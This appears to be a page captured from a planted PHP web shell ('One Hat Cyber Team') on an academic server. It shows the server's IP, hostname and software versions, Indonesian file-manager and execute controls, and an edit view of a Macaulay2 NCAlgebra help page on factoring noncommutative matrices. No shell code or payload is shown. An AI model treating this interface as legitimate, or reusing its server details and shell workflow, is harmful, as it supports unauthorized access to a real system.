One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
NCAlgebra
/
html
/
Edit File:
___N__C__Matrix_sp_sl_sl_sp__N__C__Matrix.html
<!DOCTYPE html> <html lang="en"> <head> <title>NCMatrix // NCMatrix -- Factor one map through another</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a href="index.html">NCAlgebra</a> :: <a title="Factor one map through another" href="___N__C__Matrix_sp_sl_sl_sp__N__C__Matrix.html">NCMatrix // NCMatrix</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="___N__C__Matrix_sp_eq_eq_sp__N__C__Matrix.html">next</a> | <a href="___N__C__Matrix_sp-_sp__N__C__Matrix.html">previous</a> | <a href="___N__C__Matrix_sp_eq_eq_sp__N__C__Matrix.html">forward</a> | <a href="___N__C__Matrix_sp-_sp__N__C__Matrix.html">backward</a> | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>NCMatrix // NCMatrix -- Factor one map through another</h1> <ul> <li><span>Operator: <a title="a binary operator, usually used for quotient" href="../../Macaulay2Doc/html/__sl_sl.html">//</a></span></li> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">L = M // N</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">M</span>, <span>an instance of the type <a title="Type of a matrix over a noncommutative ring" href="___N__C__Matrix.html">NCMatrix</a></span>, </span></li> <li><span><span class="tt">N</span>, <span>an instance of the type <a title="Type of a matrix over a noncommutative ring" href="___N__C__Matrix.html">NCMatrix</a></span>, </span></li> </ul> </li> <li>Outputs: <ul> <li><span><span class="tt">L</span>, <span>an instance of the type <a title="Type of a matrix over a noncommutative ring" href="___N__C__Matrix.html">NCMatrix</a></span>, </span></li> </ul> </li> </ul> <div> <h2>Description</h2> <div> <p>This command factors one map through another. One nice application of this is to compute twisted matrix factorizations. If the maps input are homogeneous, then the degrees must match up for the command to work.</p> <p>If M does not factor through N, then the return value L is such that M - N*L is the reduction of M modulo a Groebner basis for the image of N.</p> <p>Here is an example of doing so over a PI Sklyanin algebra. Note that since quotients of quotients are (unfortunately) not yet implemented, we have to do a bit of acrobatics to define the quotient of the Sklyanin we want.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i1 : B = threeDimSklyanin(QQ,{1,1,-1},{x,y,z}) --Calling Bergman for NCGB calculation. Complete! o1 = B o1 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i2 : A = ambient B o2 = A o2 : NCPolynomialRing</code></pre> </td> </tr> </table> <div> <p>The element g below is central in B (the two is just for convenience).</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i3 : g = 2*(-y^3-x*y*z+y*x*z+x^3) 3 3 o3 = -2y +2yxz-2xyz+2x o3 : A</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i4 : J = (ideal B) + ncIdeal {g} 2 2 2 3 3 o4 = Two-sided ideal {zy+yz-x , zx-y +xz, -z +yx+xy, -2y +2yxz-2xyz+2x } o4 : NCIdeal</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i5 : B' = A/J -- Factor of sklyanin --Calling Bergman for NCGB calculation. Complete! o5 = B' o5 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i6 : k = ncMatrix {{x,y,z}} o6 = | x y z | o6 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i7 : BprimeToB = ncMap(B,B',gens B) -- way to lift back from B' to B o7 = NCRingMap B <--- B' o7 : NCRingMap</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i8 : M = BprimeToB rightKernelBergman rightKernelBergman k -- second syzygy of k over B --Calling Bergman for NCGB calculation. Complete! --Calling Bergman for NCGB calculation. Complete! --Calling Bergman for NCGB calculation. Complete! --Calling Bergman for NCGB calculation. Complete! --Calling Bergman for NCGB calculation. Complete! --Calling Bergman for NCGB calculation. Complete! o8 = | -z y*z -y^2 -y*x-2*x*y | | x y*x+x*y y*z+x^2 -y^2+3*x*z | | y -x*z -x*y x^2 | | 0 -2*y -2*x -2*z | o8 : NCMatrix</code></pre> </td> </tr> </table> <div> <p>At this point, M is maximal Cohen-Macaulay B'-module, and hence the projective dimension of M as a B-module is 1. Since M is a B' module, multiplication by g on the complex that gives the resolution over B is null homotopic. This means we may factor the map f through f times the identity. We do so below.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i9 : gId = g*(ncMatrix applyTable(entries id_(ZZ^4), i -> promote(i,B))) o9 = | -2*y^3+2*y*x*z-2*x*y*z+2*x^3 0 0 0 | | 0 -2*y^3+2*y*x*z-2*x*y*z+2*x^3 0 0 | | 0 0 -2*y^3+2*y*x*z-2*x*y*z+2*x^3 0 | | 0 0 0 -2*y^3+2*y*x*z-2*x*y*z+2*x^3 | o9 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i10 : assignDegrees(gId,{2,2,2,3},{5,5,5,6});</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i11 : M' = gId // M --Calling Bergman for NCGB calculation. Complete! o11 = | -2*y*x 0 -2*y^2+2*x*z y*x*z+x^3 | | -x z -y y^2-x*z | | -y -x z y*z-x^2 | | z y x 0 | o11 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i12 : M*M' == gId o12 = true</code></pre> </td> </tr> </table> </div> <div> <div class="waystouse"> <h2>Ways to use this method:</h2> <ul> <li><span><a title="Factor one map through another" href="___N__C__Matrix_sp_sl_sl_sp__N__C__Matrix.html">NCMatrix // NCMatrix</a> -- Factor one map through another</span></li> </ul> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">NCAlgebra/NCAlgebraDoc.m2:1019:0</span>.</p> </div> </div> </div> </body> </html>
Simpan